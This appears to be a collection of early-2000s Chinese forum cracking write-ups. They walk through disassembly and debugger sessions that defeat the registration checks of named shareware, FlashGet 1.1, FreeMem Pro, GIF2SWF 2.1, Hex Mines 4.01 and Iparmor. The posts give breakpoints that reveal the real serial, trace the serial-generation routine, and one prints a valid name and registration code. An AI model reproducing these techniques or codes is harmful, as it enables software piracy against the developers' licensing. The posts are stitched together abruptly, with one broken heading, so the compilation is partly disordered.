016F:00417CD7 8D9574FBFFFF LEA EDX,[EBP+FFFFFB74]
016F:00417CDD 8D8574FBFFFF LEA EAX,[EBP+FFFFFB74]
016F:00417CE3 EB18 JMP SHORT 00417CFD
016F:00417CE5 8A08 MOV CL,[EAX]..........
016F:00417CE7 0FBED9 MOVSX EBX,CL
016F:00417CEA 83FB20 CMP EBX,BYTE +20...注册码中不能有空格
016F:00417CED 740D JZ 00417CFC
016F:00417CEF 83FB2E CMP EBX,BYTE +2E...注册码中不能有“.”
016F:00417CF2 7408 JZ 00417CFC
016F:00417CF4 83FB2D CMP EBX,BYTE +2D...注册码中不能有“-”
016F:00417CF7 7403 JZ 00417CFC
016F:00417CF9 880A MOV [EDX],CL
016F:00417CFB 42 INC EDX
016F:00417CFC 40 INC EAX
016F:00417CFD 803800 CMP BYTE [EAX],00...比较注册码是否存在
016F:00417D00 75E3 JNZ 00417CE5....跳回！分别取注册码比较
016F:00417D02 66C745D83800 MOV WORD [EBP-28],38
016F:00417D08 8D55BC LEA EDX,[EBP-44]
016F:00417D0B 8D45EC LEA EAX,[EBP-14]
016F:00417D0E E8A5F00600 CALL 00486DB8
016F:00417D13 FF45E4 INC DWORD [EBP-1C]
016F:00417D16 8D55EC LEA EDX,[EBP-14]
016F:00417D19 8D8614020000 LEA EAX,[ESI+0214]
016F:00417D1F E8A8F10600 CALL 00486ECC
016F:00417D24 FF4DE4 DEC DWORD [EBP-1C]
016F:00417D27 8D45EC LEA EAX,[EBP-14]
016F:00417D2A BA02000000 MOV EDX,02
016F:00417D2F E868F10600 CALL 00486E9C
016F:00417D34 8D4DBC LEA ECX,[EBP-44]
016F:00417D37 51 PUSH ECX
016F:00417D38 8D8574FBFFFF LEA EAX,[EBP+FFFFFB74]
016F:00417D3E 50 PUSH EAX
016F:00417D3F E874360600 CALL 0047B3B8.....可以追进去看看
016F:00417D44 83C408 ADD ESP,BYTE +08
016F:00417D47 85C0 TEST EAX,EAX
016F:00417D49 750C JNZ 00417D57........此处是关键跳转！
016F:00417D4B C786500100000100+MOV DWORD [ESI+0150],01
016F:00417D55 EB18 JMP SHORT 00417D6F
016F:00417D57 A1BCC54900 MOV EAX,[0049C5BC]...若跳转来到此处
016F:00417D5C 6A00 PUSH BYTE +00
016F:00417D5E B9CF604900 MOV ECX,004960CF....内存中显示invalidkey
016F:00417D63 BA6E604900 MOV EDX,0049606E
016F:00417D68 8B00 MOV EAX,[EAX]
016F:00417D6A E831F00600 CALL 00486DA0.....出错窗口！
016F:00417D6F 8B55C8 MOV EDX,[EBP-38]
016F:00417D72 64891500000000 MOV [FS:00],EDX
016F:00417D79 5F POP EDI
016F:00417D7A 5E POP ESI
016F:00417D7B 5B POP EBX
016F:00417D7C 8BE5 MOV ESP,EBP
016F:00417D7E 5D POP EBP

第二部分
016F:0047B3B8 55 PUSH EBP....来到这里！
016F:0047B3B9 8BEC MOV EBP,ESP
016F:0047B3BB 51 PUSH ECX
016F:0047B3BC 53 PUSH EBX
016F:0047B3BD 56 PUSH ESI
016F:0047B3BE 57 PUSH EDI
016F:0047B3BF 8B7D0C MOV EDI,[EBP+0C]
016F:0047B3C2 8B7508 MOV ESI,[EBP+08]...分别取真假注册码
016F:0047B3C5 EB02 JMP SHORT 0047B3C9
016F:0047B3C7 46 INC ESI
016F:0047B3C8 47 INC EDI
016F:0047B3C9 0FBE06 MOVSX EAX,BYTE [ESI]
016F:0047B3CC 50 PUSH EAX
016F:0047B3CD E842430000 CALL 0047F714
016F:0047B3D2 59 POP ECX
016F:0047B3D3 8BD8 MOV EBX,EAX
016F:0047B3D5 50 PUSH EAX
016F:0047B3D6 0FBE17 MOVSX EDX,BYTE [EDI]
016F:0047B3D9 52 PUSH EDX
016F:0047B3DA E835430000 CALL 0047F714
016F:0047B3DF 59 POP ECX
016F:0047B3E0 8845FF MOV [EBP-01],AL
016F:0047B3E3 5A POP EDX
016F:0047B3E4 3AD0 CMP DL,AL
016F:0047B3E6 7504 JNZ 0047B3EC....当然要相等！
016F:0047B3E8 84DB TEST BL,BL
016F:0047B3EA 75DB JNZ 0047B3C7...跳回分别取值进行比较
016F:0047B3EC 33C0 XOR EAX,EAX....eax 清零！
016F:0047B3EE 33D2 XOR EDX,EDX....edx 清零！
016F:0047B3F0 8A55FF MOV DL,[EBP-01]
016F:0047B3F3 8AC3 MOV AL,BL
016F:0047B3F5 2BC2 SUB EAX,EDX
016F:0047B3F7 5F POP EDI
016F:0047B3F8 5E POP ESI
016F:0047B3F9 5B POP EBX
016F:0047B3FA 59 POP ECX
016F:0047B3FB 5D POP EBP


FlashGet1.1

标 题:FlashGet1.1
发信人飞狐
时 间:2002/02/26 08:57pm
详细信息:

:关于FlashGet1.1
下载地址：http://soft.zz.ha.cn/query/down.asp?softnumber=7418&dtype=1&path=/fg11.exe
使用的软件：WIN32DASM、TRW2000
网际快车是较好的下载软件，它的历次版本都比较好pj，而且它的pj方式大同小异。（多么善良的作者^_^)它的注册实际上就是去掉广告条。
用WIN32DASM反汇编此文件。查找文本“REGNAME”（有的版本需要查找两次。前不久我pj的相同版本就是。由于重装机，原文件丢失，此次是我昨天刚下载的。）
代码如下：到底什么意思，自己分析吧，我没有时间写。
* Possible StringData Ref from Data Obj ->"RegName"
|
:0041807F 6878B34D00 push 004DB378
:00418084 8D442414 lea eax, dword ptr [esp+14]

* Possible StringData Ref from Data Obj ->"General"
|
:00418088 6848A44D00 push 004DA448
:0041808D 8BF1 mov esi, ecx
:0041808F 50 push eax
:00418090 E868C70800 call 004A47FD

* Possible Reference to Dialog:
|
:00418095 68D4134E00 push 004E13D4

* Possible StringData Ref from Data Obj ->"RegPass"
|
:0041809A 6870B34D00 push 004DB370
:0041809F 8D4C2410 lea ecx, dword ptr [esp+10]

* Possible StringData Ref from Data Obj ->"General"
|
:004180A3 6848A44D00 push 004DA448
:004180A8 51 push ecx
:004180A9 8BCE mov ecx, esi
:004180AB C744243400000000 mov [esp+34], 00000000
:004180B3 E845C70800 call 004A47FD
:004180B8 8B54240C mov edx, dword ptr [esp+0C]
:004180BC BB01000000 mov ebx, 00000001
:004180C1 885C2424 mov byte ptr [esp+24], bl
:004180C5 8B42F8 mov eax, dword ptr [edx-08]
:004180C8 85C0 test eax, eax
:004180CA 0F84CF000000 je 0041819F
:004180D0 8B442408 mov eax, dword ptr [esp+08]
:004180D4 8B48F8 mov ecx, dword ptr [eax-08]
:004180D7 85C9 test ecx, ecx
:004180D9 0F84C0000000 je 0041819F
:004180DF 57 push edi
:004180E0 53 push ebx
:004180E1 6A43 push 00000043
:004180E3 8D4C2420 lea ecx, dword ptr [esp+20]
:004180E7 E84D280700 call 0048A939
:004180EC 8D4C241C lea ecx, dword ptr [esp+1C]
:004180F0 53 push ebx
:004180F1 51 push ecx
:004180F2 8D4C2414 lea ecx, dword ptr [esp+14]
:004180F6 C644243002 mov [esp+30], 02
:004180FB E8F82C0700 call 0048ADF8
:00418100 8B542418 mov edx, dword ptr [esp+18]
:00418104 8B00 mov eax, dword ptr [eax]
:00418106 52 push edx
:00418107 50 push eax
:00418108 E806380600 call 0047B913
:0041810D 83C408 add esp, 00000008
:00418110 8D4C241C lea ecx, dword ptr [esp+1C]
:00418114 85C0 test eax, eax
:00418116 0F94C0 sete al
:00418119 25FF000000 and eax, 000000FF
:0041811E 8BF8 mov edi, eax
:00418120 E89E730700 call 0048F4C3
:00418125 8D4C2418 lea ecx, dword ptr [esp+18]
:00418129 885C2428 mov byte ptr [esp+28], bl
:0041812D E891730700 call 0048F4C3
:00418132 8B4C2410 mov ecx, dword ptr [esp+10]
:00418136 57 push edi
:00418137 8D542418 lea edx, dword ptr [esp+18]
:0041813B 51 push ecx
:0041813C 52 push edx
:0041813D 8BCE mov ecx, esi
:0041813F E89C000000 call 004181E0
:00418144 8B44240C mov eax, dword ptr [esp+0C]
:00418148 8B4C2414 mov ecx, dword ptr [esp+14]
:0041814C 50 push eax ********假码
:0041814D 51 push ecx ********真正的注册码。
:0041814E E8C0370600 call 0047B913
:00418153 83C408 add esp, 00000008
:00418156 885C2428 mov byte ptr [esp+28], bl
要想取得注册码请先打开FLASHGET1.1输入姓名、注册码后关闭。此文件在启动时检查。
1、打开秩TRW2000，装入FLASHGET1.1。
2、设置中断，BPX　41814e do "d ecx" 在数据区就可看到真正的注册码。
3、CTRL＋N
4、拦截成功。


FreeMen Professional Trial Version

 标 题:FreeMen Professional Trial Version (31千字)
发信人:abcde-12345
时 间:2001-11-9 20:44:02
详细信息:
********FreeMen Professional Trial Version********
:0044F671 807C02FF5C cmp byte ptr [edx+eax-01], 5C <--| 启动时判断
:0044F676 740D je 0044F685 |
:0044F678 8D45FC lea eax, dword ptr [ebp-04] |
:0044F67B BA70F74400 mov edx, 0044F770 |
:0044F680 E85B45FBFF call 00403BE0 |
|
* Referenced by a (U)nconditional or (C)onditional Jump at Address: |
|:0044F676(C) |
| |
:0044F685 803DA430450000 cmp byte ptr [004530A4], 00 |
:0044F68C 0F8491000000 je 0044F723 |
:0044F692 33D2 xor edx, edx |
:0044F694 8B8380030000 mov eax, dword ptr [ebx+00000380] |
:0044F69A E879F9FCFF call 0041F018 |
:0044F69F 33D2 xor edx, edx |
:0044F6A1 8B8390030000 mov eax, dword ptr [ebx+00000390] |
:0044F6A7 E86CF9FCFF call 0041F018 |
|
* Possible StringData Ref from Code Obj ->"Thank you for your Registration"|
| |
:0044F6AC BA7CF74400 mov edx, 0044F77C |
:0044F6B1 8B8344020000 mov eax, dword ptr [ebx+00000244] |
:0044F6B7 E830FAFCFF call 0041F0EC |
:0044F6BC A100324500 mov eax, dword ptr [00453200] |
:0044F6C1 8B00 mov eax, dword ptr [eax] |
:0044F6C3 83C034 add eax, 00000034 |
|
* Possible StringData Ref from Code Obj ->"fmempro4.hlp" |
| |
:0044F6C6 B9A4F74400 mov ecx, 0044F7A4 <--|

/////////////////////////////////////////////////////////////////////////////////////////////////
* Possible StringData Ref from Code Obj ->"Registration"
|
:0044BCA1 BA2CC94400 mov edx, 0044C92C

* Possible StringData Ref from Code Obj ->"HKEY_CURRENT_USER\Software\Meikel "
->"Weber\FreeMem Pro"
|
:0044BCA6 B844C94400 mov eax, 0044C944
:0044BCAB E8F092FFFF call 00444FA0
:0044BCB0 8B45E0 mov eax, dword ptr [ebp-20]
:0044BCB3 E8283D0000 call 0044F9E0
:0044BCB8 A2A4304500 mov byte ptr [004530A4], al <--赋值
:0044BCBD 803DA430450000 cmp byte ptr [004530A4], 00
:0044BCC4 7544 jne 0044BD0A
:0044BCC6 E87DFCFFFF call 0044B948
:0044BCCB A2A4304500 mov byte ptr [004530A4], al <--赋值
:0044BCD0 803DA430450000 cmp byte ptr [004530A4], 00
:0044BCD7 752B jne 0044BD04
:0044BCD9 E80EFBFFFF call 0044B7EC
:0044BCDE 8845DB mov byte ptr [ebp-25], al <--what a u doing ?
:0044BCE1 8A45DB mov al, byte ptr [ebp-25] <--??
:0044BCE4 A2A4304500 mov byte ptr [004530A4], al <--赋值
:0044BCE9 803DA430450000 cmp byte ptr [004530A4], 00
:0044BCF0 751C jne 0044BD0E
:0044BCF2 E84DFCFFFF call 0044B944
:0044BCF7 8845DA mov byte ptr [ebp-26], al <--what a u doing ?
:0044BCFA 8A45DA mov al, byte ptr [ebp-26] <--??
:0044BCFD A2A4304500 mov byte ptr [004530A4], al <--赋值
:0044BD02 EB0A jmp 0044BD0E

/////////////////////////////////////////////////////////////////////////////////////////////////
* Possible StringData Ref from Code Obj ->"Professional Version"
|
:0044C789 BA6CCC4400 mov edx, 0044CC6C
:0044C78E 8B83D8030000 mov eax, dword ptr [ebx+000003D8]
:0044C794 E85329FDFF call 0041F0EC
:0044C799 33D2 xor edx, edx
:0044C79B 8B8350050000 mov eax, dword ptr [ebx+00000550]
:0044C7A1 E87228FDFF call 0041F018
:0044C7A6 33D2 xor edx, edx
:0044C7A8 8B8350050000 mov eax, dword ptr [ebx+00000550]
:0044C7AE E86D07FFFF call 0043CF20
:0044C7B3 A0A4304500 mov al, byte ptr [004530A4] <--可能是判断版本????
:0044C7B8 2245DB and al, byte ptr [ebp-25]
:0044C7BB 741C je 0044C7D9
:0044C7BD 33D2 xor edx, edx
:0044C7BF 8B8334020000 mov eax, dword ptr [ebx+00000234]
:0044C7C5 E84E28FDFF call 0041F018
:0044C7CA 33D2 xor edx, edx
:0044C7CC 8B8334020000 mov eax, dword ptr [ebx+00000234]
:0044C7D2 E84907FFFF call 0043CF20
:0044C7D7 EB65 jmp 0044C83E <--|
|
* Referenced by a (U)nconditional or (C)onditional Jump at Address: |
|:0044C7BB(C) |
| |
:0044C7D9 A0A4304500 mov al, byte ptr [004530A4] <--我不懂?? |
:0044C7DE 2245DA and al, byte ptr [ebp-26] |
:0044C7E1 741C je 0044C7FF |
:0044C7E3 33D2 xor edx, edx |
:0044C7E5 8B8334020000 mov eax, dword ptr [ebx+00000234] |
:0044C7EB E82828FDFF call 0041F018 |
:0044C7F0 33D2 xor edx, edx |
:0044C7F2 8B8334020000 mov eax, dword ptr [ebx+00000234] |
:0044C7F8 E82307FFFF call 0043CF20 |
:0044C7FD EB3F jmp 0044C83E <--|

/////////////////////////////////////////////////////////////////////////////////////////////////
* Possible StringData Ref from Code Obj ->"FreeMem"
|
:0044C87A 8B15782F4500 mov edx, dword ptr [00452F78]
:0044C880 8B833C020000 mov eax, dword ptr [ebx+0000023C]
:0044C886 E86128FDFF call 0041F0EC
:0044C88B C683AC05000000 mov byte ptr [ebx+000005AC], 00
:0044C892 803DA430450000 cmp byte ptr [004530A4], 00 <--判断版本????
:0044C899 7513 jne 0044C8AE
:0044C89B 8B93E8010000 mov edx, dword ptr [ebx+000001E8]
:0044C8A1 8B83E0010000 mov eax, dword ptr [ebx+000001E0]
:0044C8A7 E89C0AFFFF call 0043D348
:0044C8AC EB11 jmp 0044C8BF

/////////////////////////////////////////////////////////////////////////////////////////////////
* Possible StringData Ref from Code Obj ->"Show"
|
:0044EC45 BA5CF04400 mov edx, 0044F05C
:0044EC4A E88560FFFF call 00444CD4
:0044EC4F 803DA430450000 cmp byte ptr [004530A4], 00 <--显示版本????可能吧!
:0044EC56 0F84A0020000 je 0044EEFC
:0044EC5C 8B8390020000 mov eax, dword ptr [ebx+00000290]
:0044EC62 E88967FEFF call 004353F0
:0044EC67 8BC8 mov ecx, eax

/////////////////////////////////////////////////////////////////////////////////////////////////
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0044F37F(C)
|
:0044F3F5 65 BYTE 065h
:0044F3F6 6D insd
:0044F3F7 6F outsd
:0044F3F8 7279 jb 0044F473
:0044F3FA 0000 add byte ptr [eax], al
:0044F3FC 55 push ebp
:0044F3FD 8BEC mov ebp, esp
:0044F3FF 6A00 push 00000000
:0044F401 53 push ebx
:0044F402 8BD8 mov ebx, eax
:0044F404 33C0 xor eax, eax
:0044F406 55 push ebp
:0044F407 68A1F54400 push 0044F5A1
:0044F40C 64FF30 push dword ptr fs:[eax]
:0044F40F 648920 mov dword ptr fs:[eax], esp
:0044F412 803DA430450000 cmp byte ptr [004530A4], 00 <--判断是否已注册?
:0044F419 0F856C010000 jne 0044F58B <--Register
:0044F41F 8D55FC lea edx, dword ptr [ebp-04] <--NoRegister
:0044F422 8B8380030000 mov eax, dword ptr [ebx+00000380]
:0044F428 E88FFCFCFF call 0041F0BC
:0044F42D 8B45FC mov eax, dword ptr [ebp-04]
:0044F430 E8AB050000 call 0044F9E0
:0044F435 A2A4304500 mov byte ptr [004530A4], al <--写入Flag
:0044F43A 803DA430450000 cmp byte ptr [004530A4], 00
:0044F441 0F8444010000 je 0044F58B
:0044F447 8D55FC lea edx, dword ptr [ebp-04]
:0044F44A 8B8380030000 mov eax, dword ptr [ebx+00000380]
:0044F450 E867FCFCFF call 0041F0BC
:0044F455 8B4DFC mov ecx, dword ptr [ebp-04]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0044F3F1(C)
|

* Possible StringData Ref from Code Obj ->"Registration"
|
:0044F458 BAB4F54400 mov edx, 0044F5B4
/////////////////////////////////////////////////////////////////////////////////////////////////
* Referenced by a (U)nconditional or (C)onditional Jump at Address: 计算过程
|:0044F975(C)
|
:0044F9E0 55 push ebp
:0044F9E1 8BEC mov ebp, esp
:0044F9E3 51 push ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0044F970(C)
|
:0044F9E4 53 push ebx
:0044F9E5 8945FC mov dword ptr [ebp-04], eax
:0044F9E8 8B45FC mov eax, dword ptr [ebp-04]
:0044F9EB E89C43FBFF call 00403D8C
:0044F9F0 33C0 xor eax, eax
:0044F9F2 55 push ebp
:0044F9F3 6854FA4400 push 0044FA54
:0044F9F8 64FF30 push dword ptr fs:[eax]
:0044F9FB 648920 mov dword ptr fs:[eax], esp
:0044F9FE 8B55FC mov edx, dword ptr [ebp-04]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0044F99A(C)
|
:0044FA01 B864000000 mov eax, 00000064
:0044FA06 E899A4FEFF call 00439EA4 <--关键!!!
:0044FA0B 84C0 test al, al
:0044FA0D 7515 jne 0044FA24 F&NJ 错误注册码不跳 R&J
:0044FA0F 8B55FC mov edx, dword ptr [ebp-04]
:0044FA12 B867000000 mov eax, 00000067
:0044FA17 E888A4FEFF call 00439EA4
:0044FA1C 84C0 test al, al
:0044FA1E 7504 jne 0044FA24 F&NJ
:0044FA20 33DB xor ebx, ebx
:0044FA22 EB02 jmp 0044FA26

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0044FA0D(C), :0044FA1E(C)
|
:0044FA24 B301 mov bl, 01

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0044FA22(U)
|
:0044FA26 84DB test bl, bl
:0044FA28 740C je 0044FA36 F&J 错误注册码跳
:0044FA2A 8B45FC mov eax, dword ptr [ebp-04]
:0044FA2D E8DEA5FEFF call 0043A010
:0044FA32 84C0 test al, al
:0044FA34 7404 je 0044FA3A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0044FA28(C)
|
:0044FA36 33C0 xor eax, eax
:0044FA38 EB02 jmp 0044FA3C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0044FA34(C)
|
:0044FA3A B001 mov al, 01

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0044FA38(U)
|
:0044FA3C 8BD8 mov ebx, eax
:0044FA3E 33C0 xor eax, eax
:0044FA40 5A pop edx
:0044FA41 59 pop ecx
:0044FA42 59 pop ecx
:0044FA43 648910 mov dword ptr fs:[eax], edx
:0044FA46 685BFA4400 push 0044FA5B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0044FA59(U)
|
:0044FA4B 8D45FC lea eax, dword ptr [ebp-04]
:0044FA4E E8093FFBFF call 0040395C
:0044FA53 C3 ret >--|
|
|
:0044FA54 E92339FBFF jmp 0040337C |
:0044FA59 EBF0 jmp 0044FA4B |
:0044FA5B 8BC3 mov eax, ebx <--|
:0044FA5D 5B pop ebx
:0044FA5E 59 pop ecx
:0044FA5F 5D pop ebp
:0044FA60 C3 ret

//////////////


GIF2SWF2.1

 标 题:GIF2SWF2.1 (9千字)
发信人:mici2k
时 间:2001-12-9 16:27:45
详细信息:
用W32dasm

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00404164(C)
|
:0040416F 83FB01 cmp ebx, 00000001
:00404172 0F85AD000000 jne 00404225
:00404178 E8B3F5FFFF call 00403730 <--关键CALL，进入。
:0040417D 85C0 test eax, eax
:0040417F 7463 je 004041E4 <---来到这
:00404181 6A00 push 00000000
:00404183 8BCF mov ecx, edi
:00404185 891D6CC54100 mov dword ptr [0041C56C], ebx

* Reference To: MFC42.Ordinal:0A55, Ord:0A55h
|
:0040418B E81AB30000 Call 0040F4AA
:00404190 A168C54100 mov eax, dword ptr [0041C568]
:00404195 85C0 test eax, eax
:00404197 742B je 004041C4
:00404199 A1E03A4100 mov eax, dword ptr [00413AE0]
:0040419E 6A00 push 00000000
:004041A0 6A00 push 00000000
:004041A2 6810010000 push 00000110
:004041A7 50 push eax

* Reference To: USER32.SendMessageA, Ord:0214h
|
:004041A8 FF1500044100 Call dword ptr [00410400]
:004041AE 6A40 push 00000040

* Possible StringData Ref from Data Obj ->"Congratulations"
|
:004041B0 6800374100 push 00413700

* Possible StringData Ref from Data Obj ->"GIF2SWF has been successfuly registered "
->"!"
|
:004041B5 68D4364100 push 004136D4
:004041BA 6A00 push 00000000

* Reference To: USER32.MessageBoxA, Ord:01BEh
|
:004041BC FF15FC034100 Call dword ptr [004103FC]
:004041C2 EB61 jmp 00404225

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00404197(C)
|
:004041C4 6A40 push 00000040

* Possible StringData Ref from Data Obj ->"Congratulations"
|
:004041C6 6800374100 push 00413700

* Possible StringData Ref from Data Obj ->"GIF2SWF has been successfuly registered "
->"!"
|
:004041CB 68D4364100 push 004136D4
:004041D0 6A00 push 00000000

* Reference To: USER32.MessageBoxA, Ord:01BEh
|
:004041D2 FF15FC034100 Call dword ptr [004103FC]
:004041D8 6A00 push 00000000
:004041DA E871F0FFFF call 00403250
:004041DF 83C404 add esp, 00000004
:004041E2 EB41 jmp 00404225

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040417F(C)<-------从0040417F跳过来的，向上找。
|
:004041E4 6A30 push 00000030

* Possible Reference to Dialog:
|
:004041E6 68C4364100 push 004136C4

* Possible StringData Ref from Data Obj ->"You have entered and incorrect "
->"Name or Serial number

Please "
->"try again !"
|
:004041EB 6878364100 push 00413678

来到call 00403730中
:00403730 6AFF push FFFFFFFF
:00403732 68F8F94000 push 0040F9F8
:00403737 64A100000000 mov eax, dword ptr fs:[00000000]
:0040373D 50 push eax
:0040373E 64892500000000 mov dword ptr fs:[00000000], esp
:00403745 83EC08 sub esp, 00000008
:00403748 51 push ecx
:00403749 8BCC mov ecx, esp
:0040374B 89642404 mov dword ptr [esp+04], esp
:0040374F 68D83A4100 push 00413AD8

* Reference To: MFC42.Ordinal:0217, Ord:0217h
|
:00403754 E827BD0000 Call 0040F480
:00403759 51 push ecx
:0040375A C744241800000000 mov [esp+18], 00000000
:00403762 8BCC mov ecx, esp
:00403764 8964240C mov dword ptr [esp+0C], esp
:00403768 68DC3A4100 push 00413ADC

* Reference To: MFC42.Ordinal:0217, Ord:0217h
|
:0040376D E80EBD0000 Call 0040F480
:00403772 C7442418FFFFFFFF mov [esp+18], FFFFFFFF
:0040377A E831FEFFFF call 004035B0 〈-注册码比较CALL
:0040377F 83C408 add esp, 00000008
:00403782 85C0 test eax, eax
:00403784 7544 jne 004037CA

来到call 004035B0中。
:004035B0 6AFF push FFFFFFFF
:004035B2 68E0F94000 push 0040F9E0
:004035B7 64A100000000 mov eax, dword ptr fs:[00000000]
:004035BD 50 push eax
:004035BE 64892500000000 mov dword ptr fs:[00000000], esp
:004035C5 83EC68 sub esp, 00000068
:004035C8 53 push ebx
:004035C9 56 push esi
:004035CA 57 push edi
:004035CB 8D8C2484000000 lea ecx, dword ptr [esp+00000084]
:004035D2 C744247C01000000 mov [esp+7C], 00000001

* Reference To: MFC42.Ordinal:106C, Ord:106Ch
|
:004035DA E8B7BD0000 Call 0040F396
:004035DF 8D8C2484000000 lea ecx, dword ptr [esp+00000084]

* Reference To: MFC42.Ordinal:104B, Ord:104Bh
|
:004035E6 E88FBE0000 Call 0040F47A
:004035EB 8D8C2488000000 lea ecx, dword ptr [esp+00000088]
:004035F2 8BF0 mov esi, eax

* Reference To: MFC42.Ordinal:104B, Ord:104Bh
|
:004035F4 E881BE0000 Call 0040F47A
:004035F9 8BD8 mov ebx, eax
:004035FB 8BFE mov edi, esi
:004035FD 83C9FF or ecx, FFFFFFFF
:00403600 33C0 xor eax, eax
:00403602 F2 repnz
:00403603 AE scasb
:00403604 F7D1 not ecx
:00403606 49 dec ecx
:00403607 895C240C mov dword ptr [esp+0C], ebx
:0040360B 0F84DC000000 je 004036ED
:00403611 8BFB mov edi, ebx
:00403613 83C9FF or ecx, FFFFFFFF
:00403616 F2 repnz
:00403617 AE scasb
:00403618 F7D1 not ecx
:0040361A 49 dec ecx
:0040361B 0F84CC000000 je 004036ED
:00403621 55 push ebp
:00403622 8BFE mov edi, esi
:00403624 83C9FF or ecx, FFFFFFFF
:00403627 33ED xor ebp, ebp
:00403629 F2 repnz
:0040362A AE scasb
:0040362B F7D1 not ecx
:0040362D 49 dec ecx
:0040362E 83F920 cmp ecx, 00000020
:00403631 7E05 jle 00403638
:00403633 B920000000 mov ecx, 00000020

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403631(C)
|
:00403638 33F6 xor esi, esi
:0040363A 85C9 test ecx, ecx
:0040363C 7E28 jle 00403666

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403660(C)
|
:0040363E 8B842488000000 mov eax, dword ptr [esp+00000088]
:00403645 8A1C06 mov bl, byte ptr [esi+eax]
:00403648 B8F73E1600 mov eax, 00163EF7
:0040364D 0FBEFB movsx edi, bl
:00403650 99 cdq
:00403651 F7FF idiv edi
:00403653 0FBED3 movsx edx, bl
:00403656 03C6 add eax, esi
:00403658 0FAFC2 imul eax, edx
:0040365B 03E8 add ebp, eax
:0040365D 46 inc esi
:0040365E 3BF1 cmp esi, ecx
:00403660 7CDC jl 0040363E
:00403662 8B5C2410 mov ebx, dword ptr [esp+10]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040363C(C)
|
:00403666 81C5EDD98500 add ebp, 0085D9ED
:0040366C 8D442414 lea eax, dword ptr [esp+14]
:00403670 55 push ebp

* Possible StringData Ref from Data Obj ->"%i"
|
:00403671 6854354100 push 00413554
:00403676 50 push eax

* Reference To: MSVCRT.sprintf, Ord:02B2h
|
:00403677 FF156C034100 Call dword ptr [0041036C]
:0040367D 83C40C add esp, 0000000C
:00403680 8BF3 mov esi, ebx
:00403682 8D442414 lea eax, dword ptr [esp+14]
:00403686 5D pop ebp

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004036A9(C)
|
:00403687 8A10 mov dl, byte ptr [eax]〈-真注册码
:00403689 8A1E mov bl, byte ptr [esi]〈-你输入的注册码
:0040368B 8ACA mov cl, dl
:0040368D 3AD3 cmp dl, bl
:0040368F 751E jne 004036AF
:00403691 84C9 test cl, cl
:00403693 7416 je 004036AB
:00403695 8A5001 mov dl, byte ptr [eax+01]
:00403698 8A5E01 mov bl, byte ptr [esi+01]
:0040369B 8ACA mov cl, dl
:0040369D 3AD3 cmp dl, bl
:0040369F 750E jne 004036AF
:004036A1 83C002 add eax, 00000002
:004036A4 83C602 add esi, 00000002
:004036A7 84C9 test cl, cl
:004036A9 75DC jne 00403687


Hex Mines V4.01title>

 标 题:破解《Hex Mines for Windows (32 bit) Version 4.01》手记，我的第三篇破文。我可以加入CNCG了吗？ (2千字)
发信人:同心是我
时 间:2001-11-15 15:38:43
详细信息:
破解 Hex Mines for Windows (32 bit) Version 4.01
作　　者：同心是我
破解时间：2001-11-13
软件简介：一个有六种形状、五种难度的增强版扫雷游戏，可玩性一般！
下　　载：http://www.adcsoft.com/download/hex32.zip
限　　制：①开始或退出游戏时倒记时5秒提醒你注册。②在游戏中只能玩二种难度。
注册费用：$10
破解工具：TRW 1.20
难　　度：易

早就听说ADC-Soft的游戏非常适合新手操练，于是就奔http://www.adcsoft.com
拉回来了四个游戏，一一加以开刀。我今天先从破解Hex Mines for Windows
(32 bit) Version 4.01开始，因为这个软件简单些，谁让我水平太菜！？
我刚开始学破解没多长时间，希望各位高手看后别笑我水平太菜，请多多给我帮助
和指导，谢谢！
运行Hex Mines for Windows (32 bit) Version 4.01，等待漫长而又短暂的
5秒钟，点击“Register Now...“按钮，进入注册提示窗口，填写：
User Name:tongxinshiwo Registration Code:780822
按Ctrl＋N激活TRW，
输入 bpx hmemcpy ←…… 下断点
输入 g ←…… 继续运行
返回注册窗口，点击 OK
又返回TRW，你会在屏幕下方看到：
Break on BP1 ←…… 拦截成功
输入 bc * ←…… 清除断点
输入 pmodule ←…… 等于按F12若干次
这时，在屏幕中间你能看到绿色的那一行：
015F:00429765 MOV ESI,EAX
按F10（好长时间的，注意不要按过了。）向下走到
015F:00401FB2 MOV ESI,EAX
输入 d eax ←…… 察看注册码
在屏幕右上方PROT32下面会有一个7位数字的真注册码和刚刚输入的假注册码，
赶快记下来吧！我的是：6466732。
6466732 ←……真注册码
780822 ←……假注册码

按F5返回，会提示“Invalid registration code!”，点击“确定”按钮，
再点击“Register Now...“按钮，进入注册窗口，重新输入User Name和
Registration Code，你就可以看到“Thank you for you registering!”。
怎么样，高兴不？

User Name: tongxinshiwo
Registration Code: 6466732

注册后在默认的安装目录（HexMines4）下，文件hex.ini会存有注册信息
hex.ini
[REGISTRATION]
NAME=tongxinshiwo
CODE=6466732
将它删除，即又为未注册版 。

破解后的思考：
本来想用中文的注册名，再弄个注册码，无奈输入后点击“OK”就出非法操作，
看来这个软件还不支持中文的注册名。

这是我的第三篇破解手记，不足之处请大家多多指出，谢谢！大家看后有什么看法
和想法一定要贴出来，同心在此谢过各位！谢谢！

同心是我 372.net@371.net

★破解很容易学的，只要你有信心和毅力再加上适当的破解工具软件，相信你也会
成为破解高手的，让我们一起进步吧！★


Iparmor 5.32.05

 标 题:一篇( I p a r m o r 新版)X文... (2千字)
发信人:exdata
时 间:2002-1-1 15:08:22
详细信息:
// 清除木马软件"Iparmor 5.32.05"
// 启动后第一次来到这里
// 读出注册表的name and pass
// 这好像是其中一处比较，管它呢，有正确的注册码就行了。

:004E9FCF BA4CA94E00 mov edx, 004EA94C
:004E9FD4 33C9 xor ecx, ecx
:004E9FD6 8A08 mov cl, byte ptr [eax]
